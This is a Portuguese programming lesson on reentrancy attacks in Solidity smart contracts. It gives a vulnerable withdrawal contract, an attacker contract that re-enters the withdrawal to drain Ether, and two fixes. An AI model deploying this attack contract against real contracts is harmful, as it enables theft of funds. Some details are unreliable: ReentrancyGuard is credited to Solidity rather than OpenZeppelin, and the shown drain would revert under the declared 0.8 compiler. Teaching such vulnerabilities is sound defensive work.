SwiftHTML & CSSSolidityDesenvolvimento de JogosSolana/Rust
20.11.2024

Lição: 081: Ataques de Reentrada

Introdução

Ataques de reentrada são um tipo de vulnerabilidade que pode ocorrer em contratos inteligentes, especialmente em aplicações baseadas em Ethereum. Esse tipo de ataque permite que um invasor chame repetidamente uma função antes que as execuções anteriores sejam concluídas, levando a comportamentos inesperados e perda de fundos. Esta aula abordará os mecanismos dos ataques de reentrada, como eles podem ser explorados e que medidas podem ser tomadas para preveni-los.

Compreendendo Ataques de Reentrada

Para entender a reentrada, devemos primeiro olhar como mudanças de estado e chamadas externas são feitas em Solidity. Quando um contrato chama um contrato externo, ele pode perder o controle de seu estado e permitir que o contrato chamado invoque novamente as funções do contrato original. Se o estado ainda não foi alterado, isso pode levar a manipulações maliciosas.

Exemplo de um Contrato Vulnerável

Aqui está um exemplo simples de um contrato vulnerável que é suscetível a ataques de reentrada:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vulneravel {
    mapping(address => uint256) public saldos;

    // Função de Depósito
    function depositar() external payable {
        saldos[msg.sender] += msg.value;
    }

    // Função de Saque
    function sacar(uint256 quantia) external {
        require(saldos[msg.sender] >= quantia, "Saldo insuficiente.");

        // Ponto vulnerável: chamada externa antes da atualização do estado
        (bool sucesso, ) = msg.sender.call{value: quantia}("");
        require(sucesso, "Transferência falhou.");

        // Atualiza o saldo após a chamada externa
        saldos[msg.sender] -= quantia;
    }
}

Como o Ataque Funciona

No contrato acima, um usuário pode depositar e sacar fundos. No entanto, a função sacar faz uma chamada externa para transferir Ether para o usuário antes de atualizar seu saldo. Se um usuário tiver a capacidade de controlar um contrato que recebe Ether, ele pode criar um contrato malicioso para explorar essa vulnerabilidade:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Vulneravel.sol";

contract Invasor {
    Vulneravel public vulneravel;

    constructor(address _vulneravel) {
        vulneravel = Vulneravel(_vulneravel);
    }

    // Função de fallback é chamada ao receber ether
    fallback() external payable {
        // Re-entra na função de saque
        if (address(vulneravel).balance >= 1 ether) {
            vulneravel.sacar(1 ether);
        }
    }

    // Inicia o ataque
    function atacar() external payable {
        require(msg.value >= 1 ether, "Ether insuficiente.");
        vulneravel.depositar{value: msg.value}();
        vulneravel.sacar(1 ether);
    }
}

Neste contrato Invasor, a função de fallback é chamada quando a função sacar do contrato Vulneravel é executada. Isso permite que o atacante saque repetidamente fundos antes que o saldo seja atualizado, resultando no esgotamento do contrato.

Técnicas de Prevenção

Para prevenir ataques de reentrada, os desenvolvedores podem seguir várias boas práticas:

1. Padrão de Verificações-Atualizações-Interações

Sempre siga o padrão "Verificações-Atualizações-Interações". As mudanças de estado devem ser feitas antes de chamar contratos externos:

// Função de Saque Atualizada
function sacar(uint256 quantia) external {
    require(saldos[msg.sender] >= quantia, "Saldo insuficiente.");

    // Atualiza o saldo antes da chamada externa
    saldos[msg.sender] -= quantia;

    // Agora realiza a chamada externa
    (bool sucesso, ) = msg.sender.call{value: quantia}("");
    require(sucesso, "Transferência falhou.");
}

2. Utilizando o ReentrancyGuard

Solidity fornece um ReentrancyGuard que pode ajudar a prevenir chamadas reentrantes. Aqui está como implementá-lo:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract Seguro is ReentrancyGuard {
    mapping(address => uint256) public saldos;

    // Declarações de função...

    function sacar(uint256 quantia) external nonReentrant {
        require(saldos[msg.sender] >= quantia, "Saldo insuficiente.");
        saldos[msg.sender] -= quantia;
        (bool sucesso, ) = msg.sender.call{value: quantia}("");
        require(sucesso, "Transferência falhou.");
    }
}

Ao usar o modificador nonReentrant, garantimos que a função sacar não pode ser chamada enquanto ainda está em execução.

Conclusão

Ataques de reentrada representam riscos significativos para contratos inteligentes, mas entender os mecanismos por trás deles permite que os desenvolvedores implementem medidas de segurança adequadas. Seguindo o padrão Verificações-Atualizações-Interações e utilizando bibliotecas integradas, você pode mitigar significativamente o risco de tais vulnerabilidades em seus contratos Solidity. Lembre-se sempre de auditorar seu código e manter-se atualizado sobre as melhores práticas no desenvolvimento de contratos inteligentes.

Video

Did you like this article? Rate it from 1 to 5:

Thank you for voting!